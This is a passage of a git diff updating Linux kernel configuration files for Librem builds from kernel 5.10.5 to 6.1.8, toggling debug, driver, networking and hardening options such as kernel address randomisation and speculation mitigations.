CONFIG_XZ_DEC_BCJ=y # CONFIG_XZ_DEC_TEST is not set CONFIG_DECOMPRESS_XZ=y @@ -3146,7 +3366,9 @@ CONFIG_NEED_DMA_MAP_STATE=y CONFIG_ARCH_DMA_ADDR_T_64BIT=y CONFIG_SWIOTLB=y # CONFIG_DMA_API_DEBUG is not set +# CONFIG_DMA_MAP_BENCHMARK is not set CONFIG_SGL_ALLOC=y +# CONFIG_FORCE_NR_CPUS is not set CONFIG_CPU_RMAP=y CONFIG_DQL=y CONFIG_GLOB=y @@ -3166,8 +3388,8 @@ CONFIG_MEMREGION=y CONFIG_ARCH_HAS_UACCESS_FLUSHCACHE=y CONFIG_ARCH_HAS_COPY_MC=y CONFIG_ARCH_STACKWALK=y +CONFIG_STACKDEPOT=y CONFIG_SBITMAP=y -# CONFIG_STRING_SELFTEST is not set # end of Library routines # @@ -3179,6 +3401,7 @@ CONFIG_SBITMAP=y # CONFIG_PRINTK_TIME=y # CONFIG_PRINTK_CALLER is not set +# CONFIG_STACKTRACE_BUILD_ID is not set CONFIG_CONSOLE_LOGLEVEL_DEFAULT=7 CONFIG_CONSOLE_LOGLEVEL_QUIET=4 CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4 @@ -3189,25 +3412,31 @@ CONFIG_SYMBOLIC_ERRNAME=y # CONFIG_DEBUG_BUGVERBOSE is not set # end of printk and dmesg options +CONFIG_DEBUG_KERNEL=y +# CONFIG_DEBUG_MISC is not set + # # Compile-time checks and compiler options # CONFIG_DEBUG_INFO=y +CONFIG_AS_HAS_NON_CONST_LEB128=y +# CONFIG_DEBUG_INFO_NONE is not set +# CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT is not set +CONFIG_DEBUG_INFO_DWARF4=y +# CONFIG_DEBUG_INFO_DWARF5 is not set # CONFIG_DEBUG_INFO_REDUCED is not set # CONFIG_DEBUG_INFO_COMPRESSED is not set # CONFIG_DEBUG_INFO_SPLIT is not set -CONFIG_DEBUG_INFO_DWARF4=y -# CONFIG_DEBUG_INFO_BTF is not set CONFIG_GDB_SCRIPTS=y -# CONFIG_ENABLE_MUST_CHECK is not set CONFIG_FRAME_WARN=1024 # CONFIG_STRIP_ASM_SYMS is not set # CONFIG_READABLE_ASM is not set # CONFIG_HEADERS_INSTALL is not set # CONFIG_DEBUG_SECTION_MISMATCH is not set CONFIG_SECTION_MISMATCH_WARN_ONLY=y -# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_32B is not set -CONFIG_STACK_VALIDATION=y +# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_64B is not set +CONFIG_OBJTOOL=y +# CONFIG_VMLINUX_MAP is not set # CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set # end of Compile-time checks and compiler options @@ -3229,15 +3458,23 @@ CONFIG_ARCH_HAS_UBSAN_SANITIZE_ALL=y CONFIG_HAVE_ARCH_KCSAN=y # end of Generic Kernel Debugging Instruments -CONFIG_DEBUG_KERNEL=y -# CONFIG_DEBUG_MISC is not set +# +# Networking Debugging +# +# CONFIG_NET_DEV_REFCNT_TRACKER is not set +# CONFIG_NET_NS_REFCNT_TRACKER is not set +# CONFIG_DEBUG_NET is not set +# end of Networking Debugging # # Memory Debugging # # CONFIG_PAGE_EXTENSION is not set # CONFIG_DEBUG_PAGEALLOC is not set +CONFIG_SLUB_DEBUG=y +# CONFIG_SLUB_DEBUG_ON is not set # CONFIG_PAGE_OWNER is not set +# CONFIG_PAGE_TABLE_CHECK is not set # CONFIG_PAGE_POISONING is not set # CONFIG_DEBUG_RODATA_TEST is not set CONFIG_ARCH_HAS_DEBUG_WX=y @@ -3245,7 +3482,7 @@ CONFIG_ARCH_HAS_DEBUG_WX=y CONFIG_GENERIC_PTDUMP=y # CONFIG_PTDUMP_DEBUGFS is not set # CONFIG_DEBUG_OBJECTS is not set -# CONFIG_SLUB_STATS is not set +# CONFIG_SHRINKER_DEBUG is not set CONFIG_HAVE_DEBUG_KMEMLEAK=y # CONFIG_DEBUG_KMEMLEAK is not set # CONFIG_DEBUG_STACK_USAGE is not set @@ -3257,11 +3494,16 @@ CONFIG_ARCH_HAS_DEBUG_VIRTUAL=y # CONFIG_DEBUG_VIRTUAL is not set # CONFIG_DEBUG_MEMORY_INIT is not set # CONFIG_DEBUG_PER_CPU_MAPS is not set +CONFIG_ARCH_SUPPORTS_KMAP_LOCAL_FORCE_MAP=y +# CONFIG_DEBUG_KMAP_LOCAL_FORCE_MAP is not set CONFIG_HAVE_ARCH_KASAN=y CONFIG_HAVE_ARCH_KASAN_VMALLOC=y CONFIG_CC_HAS_KASAN_GENERIC=y CONFIG_CC_HAS_WORKING_NOSANITIZE_ADDRESS=y # CONFIG_KASAN is not set +CONFIG_HAVE_ARCH_KFENCE=y +# CONFIG_KFENCE is not set +CONFIG_HAVE_ARCH_KMSAN=y # end of Memory Debugging # CONFIG_DEBUG_SHIRQ is not set @@ -3275,16 +3517,13 @@ CONFIG_PANIC_TIMEOUT=0 CONFIG_LOCKUP_DETECTOR=y CONFIG_SOFTLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set -CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0 CONFIG_HARDLOCKUP_DETECTOR_PERF=y CONFIG_HARDLOCKUP_CHECK_TIMESTAMP=y CONFIG_HARDLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_HARDLOCKUP_PANIC is not set -CONFIG_BOOTPARAM_HARDLOCKUP_PANIC_VALUE=0 CONFIG_DETECT_HUNG_TASK=y CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=120 # CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set -CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=0 CONFIG_WQ_WATCHDOG=y # CONFIG_TEST_LOCKUP is not set # end of Debug Oops, Lockups and Hangs @@ -3318,6 +3557,7 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_CSD_LOCK_WAIT_DEBUG is not set # end of Lock Debugging (spinlocks, mutexes, etc...) +# CONFIG_DEBUG_IRQFLAGS is not set CONFIG_STACKTRACE=y # CONFIG_WARN_ALL_UNSEEDED_RANDOM is not set # CONFIG_DEBUG_KOBJECT is not set @@ -3330,6 +3570,7 @@ CONFIG_STACKTRACE=y # CONFIG_DEBUG_SG is not set # CONFIG_DEBUG_NOTIFIERS is not set # CONFIG_BUG_ON_DATA_CORRUPTION is not set +# CONFIG_DEBUG_MAPLE_TREE is not set # end of Debug kernel data structures # CONFIG_DEBUG_CREDENTIALS is not set @@ -3341,36 +3582,40 @@ CONFIG_STACKTRACE=y # CONFIG_RCU_TORTURE_TEST is not set # CONFIG_RCU_REF_SCALE_TEST is not set CONFIG_RCU_CPU_STALL_TIMEOUT=21 +CONFIG_RCU_EXP_CPU_STALL_TIMEOUT=0 # CONFIG_RCU_TRACE is not set # CONFIG_RCU_EQS_DEBUG is not set # end of RCU Debugging # CONFIG_DEBUG_WQ_FORCE_RR_CPU is not set -# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set # CONFIG_CPU_HOTPLUG_STATE_CONTROL is not set # CONFIG_LATENCYTOP is not set CONFIG_USER_STACKTRACE_SUPPORT=y +CONFIG_HAVE_RETHOOK=y CONFIG_HAVE_FUNCTION_TRACER=y -CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y CONFIG_HAVE_DYNAMIC_FTRACE=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_DIRECT_CALLS=y +CONFIG_HAVE_DYNAMIC_FTRACE_WITH_ARGS=y +CONFIG_HAVE_DYNAMIC_FTRACE_NO_PATCHABLE=y CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y CONFIG_HAVE_SYSCALL_TRACEPOINTS=y CONFIG_HAVE_FENTRY=y +CONFIG_HAVE_OBJTOOL_MCOUNT=y CONFIG_HAVE_C_RECORDMCOUNT=y +CONFIG_HAVE_BUILDTIME_MCOUNT_SORT=y CONFIG_TRACING_SUPPORT=y # CONFIG_FTRACE is not set # CONFIG_PROVIDE_OHCI1394_DMA_INIT is not set # CONFIG_SAMPLES is not set +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT=y +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT_MULTI=y CONFIG_ARCH_HAS_DEVMEM_IS_ALLOWED=y # CONFIG_STRICT_DEVMEM is not set # # x86 Debugging # -CONFIG_TRACE_IRQFLAGS_SUPPORT=y -CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y # CONFIG_X86_VERBOSE_BOOTUP is not set CONFIG_EARLY_PRINTK=y # CONFIG_EARLY_PRINTK_DBGP is not set @@ -3390,7 +3635,6 @@ CONFIG_IO_DELAY_0XED=y # CONFIG_PUNIT_ATOM_DEBUG is not set CONFIG_UNWINDER_ORC=y # CONFIG_UNWINDER_FRAME_POINTER is not set -# CONFIG_UNWINDER_GUESS is not set # end of x86 Debugging # @@ -3404,26 +3648,28 @@ CONFIG_CC_HAS_SANCOV_TRACE_PC=y # CONFIG_KCOV is not set CONFIG_RUNTIME_TESTING_MENU=y # CONFIG_LKDTM is not set -# CONFIG_TEST_LIST_SORT is not set # CONFIG_TEST_MIN_HEAP is not set -# CONFIG_TEST_SORT is not set +# CONFIG_TEST_DIV64 is not set # CONFIG_BACKTRACE_SELF_TEST is not set +# CONFIG_TEST_REF_TRACKER is not set # CONFIG_RBTREE_TEST is not set # CONFIG_REED_SOLOMON_TEST is not set # CONFIG_INTERVAL_TREE_TEST is not set # CONFIG_PERCPU_TEST is not set # CONFIG_ATOMIC64_SELFTEST is not set # CONFIG_TEST_HEXDUMP is not set +# CONFIG_STRING_SELFTEST is not set # CONFIG_TEST_STRING_HELPERS is not set # CONFIG_TEST_STRSCPY is not set # CONFIG_TEST_KSTRTOX is not set # CONFIG_TEST_PRINTF is not set +# CONFIG_TEST_SCANF is not set # CONFIG_TEST_BITMAP is not set # CONFIG_TEST_UUID is not set # CONFIG_TEST_XARRAY is not set -# CONFIG_TEST_OVERFLOW is not set +# CONFIG_TEST_MAPLE_TREE is not set # CONFIG_TEST_RHASHTABLE is not set -# CONFIG_TEST_HASH is not set +# CONFIG_TEST_SIPHASH is not set # CONFIG_TEST_IDA is not set # CONFIG_TEST_LKM is not set # CONFIG_TEST_BITOPS is not set @@ -3436,12 +3682,19 @@ CONFIG_RUNTIME_TESTING_MENU=y # CONFIG_TEST_SYSCTL is not set # CONFIG_TEST_UDELAY is not set # CONFIG_TEST_STATIC_KEYS is not set +# CONFIG_TEST_DYNAMIC_DEBUG is not set # CONFIG_TEST_KMOD is not set # CONFIG_TEST_MEMCAT_P is not set -# CONFIG_TEST_STACKINIT is not set # CONFIG_TEST_MEMINIT is not set # CONFIG_TEST_FREE_PAGES is not set # CONFIG_TEST_FPU is not set +# CONFIG_TEST_CLOCKSOURCE_WATCHDOG is not set +CONFIG_ARCH_USE_MEMTEST=y # CONFIG_MEMTEST is not set # end of Kernel Testing and Coverage + +# +# Rust hacking +# +# end of Rust hacking # end of Kernel hacking diff --git a/config/linux-librem_common-6.1.8.config b/config/linux-librem_common-6.1.8.config index 70590d5b1..b7b2d58ce 100644 --- a/config/linux-librem_common-6.1.8.config +++ b/config/linux-librem_common-6.1.8.config @@ -796,7 +796,7 @@ CONFIG_INET=y # CONFIG_IP_PNP is not set # CONFIG_NET_IPIP is not set # CONFIG_NET_IPGRE_DEMUX is not set -# CONFIG_SYN_COOKIES is not set +CONFIG_SYN_COOKIES=y # CONFIG_NET_IPVTI is not set # CONFIG_NET_FOU is not set # CONFIG_INET_AH is not set @@ -1307,7 +1307,7 @@ CONFIG_ETHERNET=y # CONFIG_NET_VENDOR_AMD is not set # CONFIG_NET_VENDOR_AQUANTIA is not set # CONFIG_NET_VENDOR_ARC is not set -CONFIG_NET_VENDOR_ASIX=y +# CONFIG_NET_VENDOR_ASIX is not set # CONFIG_NET_VENDOR_ATHEROS is not set # CONFIG_CX_ECAT is not set # CONFIG_NET_VENDOR_BROADCOM is not set @@ -1316,16 +1316,14 @@ CONFIG_NET_VENDOR_ASIX=y # CONFIG_NET_VENDOR_CHELSIO is not set # CONFIG_NET_VENDOR_CISCO is not set # CONFIG_NET_VENDOR_CORTINA is not set -CONFIG_NET_VENDOR_DAVICOM=y +# CONFIG_NET_VENDOR_DAVICOM is not set # CONFIG_DNET is not set # CONFIG_NET_VENDOR_DEC is not set # CONFIG_NET_VENDOR_DLINK is not set # CONFIG_NET_VENDOR_EMULEX is not set -CONFIG_NET_VENDOR_ENGLEDER=y -# CONFIG_TSNEP is not set +# CONFIG_NET_VENDOR_ENGLEDER is not set # CONFIG_NET_VENDOR_EZCHIP is not set -CONFIG_NET_VENDOR_FUNGIBLE=y -# CONFIG_FUN_ETH is not set +# CONFIG_NET_VENDOR_FUNGIBLE is not set # CONFIG_NET_VENDOR_GOOGLE is not set # CONFIG_NET_VENDOR_HUAWEI is not set # CONFIG_NET_VENDOR_I825XX is not set @@ -1344,17 +1342,15 @@ CONFIG_E1000E_HWTS=y # CONFIG_ICE is not set # CONFIG_FM10K is not set # CONFIG_IGC is not set -CONFIG_NET_VENDOR_WANGXUN=y -# CONFIG_NGBE is not set -# CONFIG_TXGBE is not set +# CONFIG_NET_VENDOR_WANGXUN is not set # CONFIG_JME is not set -CONFIG_NET_VENDOR_LITEX=y +# CONFIG_NET_VENDOR_LITEX is not set # CONFIG_NET_VENDOR_MARVELL is not set # CONFIG_NET_VENDOR_MELLANOX is not set # CONFIG_NET_VENDOR_MICREL is not set # CONFIG_NET_VENDOR_MICROCHIP is not set # CONFIG_NET_VENDOR_MICROSEMI is not set -CONFIG_NET_VENDOR_MICROSOFT=y +# CONFIG_NET_VENDOR_MICROSOFT is not set # CONFIG_NET_VENDOR_MYRI is not set # CONFIG_FEALNX is not set # CONFIG_NET_VENDOR_NI is not set @@ -1385,7 +1381,7 @@ CONFIG_NET_VENDOR_MICROSOFT=y # CONFIG_NET_VENDOR_SYNOPSYS is not set # CONFIG_NET_VENDOR_TEHUTI is not set # CONFIG_NET_VENDOR_TI is not set -CONFIG_NET_VENDOR_VERTEXCOM=y +# CONFIG_NET_VENDOR_VERTEXCOM is not set # CONFIG_NET_VENDOR_VIA is not set # CONFIG_NET_VENDOR_WIZNET is not set # CONFIG_NET_VENDOR_XILINX is not set @@ -1545,7 +1541,7 @@ CONFIG_SERIAL_8250_RUNTIME_UARTS=4 # CONFIG_SERIAL_8250_RT288X is not set # CONFIG_SERIAL_8250_LPSS is not set # CONFIG_SERIAL_8250_MID is not set -CONFIG_SERIAL_8250_PERICOM=y +# CONFIG_SERIAL_8250_PERICOM is not set # # Non-8250 serial port support @@ -2174,9 +2170,7 @@ CONFIG_SYNC_FILE=y # CONFIG_STAGING is not set # CONFIG_CHROME_PLATFORMS is not set # CONFIG_MELLANOX_PLATFORM is not set -CONFIG_SURFACE_PLATFORMS=y -# CONFIG_SURFACE_GPE is not set -# CONFIG_SURFACE_PRO3_BUTTON is not set +# CONFIG_SURFACE_PLATFORMS is not set CONFIG_X86_PLATFORM_DEVICES=y # CONFIG_ACPI_WMI is not set # CONFIG_ACERHDF is not set @@ -2386,7 +2380,7 @@ CONFIG_LIBNVDIMM=y # CONFIG_BTT is not set # CONFIG_DAX is not set CONFIG_NVMEM=y -CONFIG_NVMEM_SYSFS=y +# CONFIG_NVMEM_SYSFS is not set # CONFIG_NVMEM_RMEM is not set # @@ -2634,7 +2628,7 @@ CONFIG_CRYPTO_SIMD=y # # Block ciphers # -# CONFIG_CRYPTO_AES is not set +CONFIG_CRYPTO_AES=y # CONFIG_CRYPTO_AES_TI is not set # CONFIG_CRYPTO_ARIA is not set # CONFIG_CRYPTO_BLOWFISH is not set diff --git a/config/linux-librem_common.config b/config/linux-librem_common.config index e65f907d1..cdcb218b4 100644 --- a/config/linux-librem_common.config +++ b/config/linux-librem_common.config @@ -1,17 +1,21 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86 5.10.5 Kernel Configuration +# Linux/x86 6.1.8 Kernel Configuration # CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" CONFIG_CC_IS_GCC=y CONFIG_GCC_VERSION=80300 -CONFIG_LD_VERSION=232000000 CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 +CONFIG_LD_IS_BFD=y +CONFIG_LD_VERSION=23200 CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y CONFIG_CC_CAN_LINK_STATIC=y -CONFIG_CC_HAS_ASM_GOTO=y CONFIG_CC_HAS_ASM_INLINE=y +CONFIG_CC_HAS_NO_PROFILE_FN_ATTR=y +CONFIG_PAHOLE_VERSION=0 CONFIG_IRQ_WORK=y CONFIG_BUILDTIME_TABLE_SORT=y CONFIG_THREAD_INFO_IN_TASK=y @@ -21,6 +25,7 @@ CONFIG_THREAD_INFO_IN_TASK=y # CONFIG_INIT_ENV_ARG_LIMIT=32 # CONFIG_COMPILE_TEST is not set +# CONFIG_WERROR is not set CONFIG_LOCALVERSION="-@BRAND_NAME@" # CONFIG_LOCALVERSION_AUTO is not set CONFIG_BUILD_SALT="" @@ -40,7 +45,6 @@ CONFIG_KERNEL_XZ=y # CONFIG_KERNEL_ZSTD is not set CONFIG_DEFAULT_INIT="" CONFIG_DEFAULT_HOSTNAME="(none)" -# CONFIG_SWAP is not set # CONFIG_SYSVIPC is not set # CONFIG_POSIX_MQUEUE is not set # CONFIG_WATCH_QUEUE is not set @@ -62,6 +66,7 @@ CONFIG_IRQ_DOMAIN=y CONFIG_IRQ_DOMAIN_HIERARCHY=y CONFIG_GENERIC_MSI_IRQ=y CONFIG_GENERIC_MSI_IRQ_DOMAIN=y +CONFIG_IRQ_MSI_IOMMU=y CONFIG_GENERIC_IRQ_MATRIX_ALLOCATOR=y CONFIG_GENERIC_IRQ_RESERVATION_MODE=y CONFIG_IRQ_FORCED_THREADING=y @@ -78,6 +83,8 @@ CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y CONFIG_GENERIC_CMOS_UPDATE=y CONFIG_HAVE_POSIX_CPU_TIMERS_TASK_WORK=y CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y +CONFIG_CONTEXT_TRACKING=y +CONFIG_CONTEXT_TRACKING_IDLE=y # # Timers subsystem @@ -89,11 +96,26 @@ CONFIG_NO_HZ_IDLE=y # CONFIG_NO_HZ_FULL is not set # CONFIG_NO_HZ is not set # CONFIG_HIGH_RES_TIMERS is not set +CONFIG_CLOCKSOURCE_WATCHDOG_MAX_SKEW_US=100 # end of Timers subsystem +CONFIG_BPF=y +CONFIG_HAVE_EBPF_JIT=y +CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y + +# +# BPF subsystem +# +# CONFIG_BPF_SYSCALL is not set +# CONFIG_BPF_JIT is not set +# end of BPF subsystem + +CONFIG_PREEMPT_NONE_BUILD=y CONFIG_PREEMPT_NONE=y # CONFIG_PREEMPT_VOLUNTARY is not set # CONFIG_PREEMPT is not set +# CONFIG_PREEMPT_DYNAMIC is not set +# CONFIG_SCHED_CORE is not set # # CPU/Task time and stats accounting @@ -117,7 +139,6 @@ CONFIG_RCU_STALL_COMMON=y CONFIG_RCU_NEED_SEGCBLIST=y # end of RCU Subsystem -CONFIG_BUILD_BIN2C=y # CONFIG_IKCONFIG is not set # CONFIG_IKHEADERS is not set CONFIG_LOG_BUF_SHIFT=18 @@ -134,6 +155,9 @@ CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y CONFIG_ARCH_WANT_BATCHED_UNMAP_TLB_FLUSH=y CONFIG_CC_HAS_INT128=y +CONFIG_CC_IMPLICIT_FALLTHROUGH="-Wimplicit-fallthrough=5" +CONFIG_GCC11_NO_ARRAY_BOUNDS=y +CONFIG_GCC12_NO_ARRAY_BOUNDS=y CONFIG_ARCH_SUPPORTS_INT128=y # CONFIG_CGROUPS is not set # CONFIG_CHECKPOINT_RESTORE is not set @@ -154,13 +178,13 @@ CONFIG_RD_XZ=y CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_INITRAMFS_COMPRESSION_NONE is not set # CONFIG_BOOT_CONFIG is not set +# CONFIG_INITRAMFS_PRESERVE_MTIME is not set # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y CONFIG_SYSCTL=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y -CONFIG_BPF=y CONFIG_EXPERT=y # CONFIG_MULTIUSER is not set # CONFIG_SGETMASK_SYSCALL is not set @@ -168,7 +192,6 @@ CONFIG_EXPERT=y # CONFIG_FHANDLE is not set CONFIG_POSIX_TIMERS=y CONFIG_PRINTK=y -CONFIG_PRINTK_NMI=y CONFIG_BUG=y CONFIG_PCSPKR_PLATFORM=y # CONFIG_BASE_FULL is not set @@ -184,10 +207,8 @@ CONFIG_IO_URING=y # CONFIG_ADVISE_SYSCALLS is not set CONFIG_MEMBARRIER=y # CONFIG_KALLSYMS is not set -# CONFIG_BPF_SYSCALL is not set -CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y -# CONFIG_USERFAULTFD is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +CONFIG_KCMP=y # CONFIG_RSEQ is not set CONFIG_EMBEDDED=y CONFIG_HAVE_PERF_EVENTS=y @@ -200,17 +221,6 @@ CONFIG_PERF_EVENTS=y # CONFIG_DEBUG_PERF_USE_VMALLOC is not set # end of Kernel Performance Events And Counters -# CONFIG_VM_EVENT_COUNTERS is not set -# CONFIG_SLUB_DEBUG is not set -# CONFIG_COMPAT_BRK is not set -# CONFIG_SLAB is not set -CONFIG_SLUB=y -# CONFIG_SLOB is not set -CONFIG_SLAB_MERGE_DEFAULT=y -# CONFIG_SLAB_FREELIST_RANDOM is not set -# CONFIG_SLAB_FREELIST_HARDENED is not set -# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set -CONFIG_SLUB_CPU_PARTIAL=y # CONFIG_PROFILING is not set # end of General setup @@ -232,17 +242,10 @@ CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y CONFIG_ARCH_MAY_HAVE_PC_FDC=y CONFIG_GENERIC_CALIBRATE_DELAY=y CONFIG_ARCH_HAS_CPU_RELAX=y -CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y -CONFIG_ARCH_HAS_FILTER_PGPROT=y -CONFIG_HAVE_SETUP_PER_CPU_AREA=y -CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y -CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y CONFIG_ARCH_HIBERNATION_POSSIBLE=y +CONFIG_ARCH_NR_GPIO=1024 CONFIG_ARCH_SUSPEND_POSSIBLE=y -CONFIG_ARCH_WANT_GENERAL_HUGETLB=y -CONFIG_ZONE_DMA32=y CONFIG_AUDIT_ARCH=y -CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y CONFIG_HAVE_INTEL_TXT=y CONFIG_X86_64_SMP=y CONFIG_ARCH_SUPPORTS_UPROBES=y @@ -253,12 +256,10 @@ CONFIG_CC_HAS_SANE_STACKPROTECTOR=y # # Processor type and features # -# CONFIG_ZONE_DMA is not set CONFIG_SMP=y CONFIG_X86_FEATURE_NAMES=y # CONFIG_X86_MPPARSE is not set # CONFIG_GOLDFISH is not set -# CONFIG_RETPOLINE is not set # CONFIG_X86_CPU_RESCTRL is not set # CONFIG_X86_EXTENDED_PLATFORM is not set # CONFIG_X86_INTEL_LPSS is not set @@ -293,11 +294,13 @@ CONFIG_CPU_SUP_INTEL=y CONFIG_HPET_TIMER=y CONFIG_HPET_EMULATE_RTC=y CONFIG_DMI=y +CONFIG_BOOT_VESA_SUPPORT=y # CONFIG_MAXSMP is not set CONFIG_NR_CPUS_RANGE_BEGIN=2 CONFIG_NR_CPUS_RANGE_END=512 CONFIG_NR_CPUS_DEFAULT=64 CONFIG_NR_CPUS=32 +CONFIG_SCHED_CLUSTER=y CONFIG_SCHED_SMT=y CONFIG_SCHED_MC=y CONFIG_SCHED_MC_PRIO=y @@ -308,7 +311,6 @@ CONFIG_X86_MCE=y # CONFIG_X86_MCELOG_LEGACY is not set CONFIG_X86_MCE_INTEL=y CONFIG_X86_MCE_THRESHOLD=y -CONFIG_X86_THERMAL_VECTOR=y # # Performance monitoring @@ -320,7 +322,6 @@ CONFIG_X86_THERMAL_VECTOR=y # CONFIG_X86_VSYSCALL_EMULATION is not set CONFIG_X86_IOPL_IOPERM=y -# CONFIG_I8K is not set # CONFIG_MICROCODE is not set # CONFIG_X86_MSR is not set # CONFIG_X86_CPUID is not set @@ -329,16 +330,14 @@ CONFIG_X86_DIRECT_GBPAGES=y # CONFIG_NUMA is not set CONFIG_ARCH_SPARSEMEM_ENABLE=y CONFIG_ARCH_SPARSEMEM_DEFAULT=y -CONFIG_ARCH_SELECT_MEMORY_MODEL=y CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000 CONFIG_X86_PMEM_LEGACY_DEVICE=y CONFIG_X86_PMEM_LEGACY=y # CONFIG_X86_CHECK_BIOS_CORRUPTION is not set -CONFIG_X86_RESERVE_LOW=64 # CONFIG_MTRR is not set -CONFIG_ARCH_RANDOM=y -# CONFIG_X86_SMAP is not set CONFIG_X86_UMIP=y +CONFIG_CC_HAS_IBT=y +# CONFIG_X86_KERNEL_IBT is not set # CONFIG_X86_INTEL_MEMORY_PROTECTION_KEYS is not set CONFIG_X86_INTEL_TSX_MODE_OFF=y # CONFIG_X86_INTEL_TSX_MODE_ON is not set @@ -355,27 +354,38 @@ CONFIG_ARCH_HAS_KEXEC_PURGATORY=y # CONFIG_KEXEC_SIG is not set # CONFIG_CRASH_DUMP is not set CONFIG_PHYSICAL_START=0x1000000 -# CONFIG_RELOCATABLE is not set +CONFIG_RELOCATABLE=y +CONFIG_RANDOMIZE_BASE=y +CONFIG_X86_NEED_RELOCS=y CONFIG_PHYSICAL_ALIGN=0x1000000 +CONFIG_DYNAMIC_MEMORY_LAYOUT=y +CONFIG_RANDOMIZE_MEMORY=y +CONFIG_RANDOMIZE_MEMORY_PHYSICAL_PADDING=0x0 CONFIG_HOTPLUG_CPU=y # CONFIG_BOOTPARAM_HOTPLUG_CPU0 is not set # CONFIG_DEBUG_HOTPLUG_CPU0 is not set -# CONFIG_LEGACY_VSYSCALL_EMULATE is not set # CONFIG_LEGACY_VSYSCALL_XONLY is not set CONFIG_LEGACY_VSYSCALL_NONE=y # CONFIG_CMDLINE_BOOL is not set # CONFIG_MODIFY_LDT_SYSCALL is not set +# CONFIG_STRICT_SIGALTSTACK_SIZE is not set CONFIG_HAVE_LIVEPATCH=y # end of Processor type and features +CONFIG_CC_HAS_RETURN_THUNK=y +CONFIG_SPECULATION_MITIGATIONS=y +CONFIG_PAGE_TABLE_ISOLATION=y +CONFIG_RETPOLINE=y +CONFIG_RETHUNK=y +CONFIG_CPU_IBRS_ENTRY=y CONFIG_ARCH_HAS_ADD_PAGES=y -CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y -CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y +CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y # # Power management and ACPI options # # CONFIG_SUSPEND is not set +# CONFIG_HIBERNATION is not set # CONFIG_PM is not set # CONFIG_ENERGY_MODEL is not set CONFIG_ARCH_SUPPORTS_ACPI=y @@ -385,6 +395,7 @@ CONFIG_ARCH_MIGHT_HAVE_ACPI_PDC=y CONFIG_ACPI_SYSTEM_POWER_STATES_SUPPORT=y # CONFIG_ACPI_DEBUGGER is not set CONFIG_ACPI_SPCR_TABLE=y +# CONFIG_ACPI_FPDT is not set CONFIG_ACPI_LPIT=y CONFIG_ACPI_REV_OVERRIDE_POSSIBLE=y # CONFIG_ACPI_EC_DEBUGFS is not set @@ -418,9 +429,10 @@ CONFIG_HAVE_ACPI_APEI_NMI=y # CONFIG_ACPI_APEI is not set # CONFIG_ACPI_DPTF is not set # CONFIG_ACPI_CONFIGFS is not set +# CONFIG_ACPI_PFRUT is not set +CONFIG_ACPI_PCC=y # CONFIG_PMIC_OPREGION is not set CONFIG_X86_PM_TIMER=y -# CONFIG_SFI is not set # # CPU Frequency scaling @@ -444,6 +456,8 @@ CONFIG_CPU_FREQ_GOV_SCHEDUTIL=y # CONFIG_X86_INTEL_PSTATE=y # CONFIG_X86_PCC_CPUFREQ is not set +# CONFIG_X86_AMD_PSTATE is not set +# CONFIG_X86_AMD_PSTATE_UT is not set # CONFIG_X86_ACPI_CPUFREQ is not set # CONFIG_X86_SPEEDSTEP_CENTRINO is not set # CONFIG_X86_P4_CLOCKMOD is not set @@ -473,34 +487,15 @@ CONFIG_PCI_DIRECT=y # CONFIG_PCI_CNB20LE_QUIRK is not set # CONFIG_ISA_BUS is not set CONFIG_ISA_DMA_API=y -# CONFIG_X86_SYSFB is not set # end of Bus options (PCI etc.) # # Binary Emulations # # CONFIG_IA32_EMULATION is not set -# CONFIG_X86_X32 is not set +# CONFIG_X86_X32_ABI is not set # end of Binary Emulations -# -# Firmware Drivers -# -# CONFIG_EDD is not set -# CONFIG_FIRMWARE_MEMMAP is not set -# CONFIG_DMIID is not set -# CONFIG_DMI_SYSFS is not set -CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y -# CONFIG_ISCSI_IBFT is not set -# 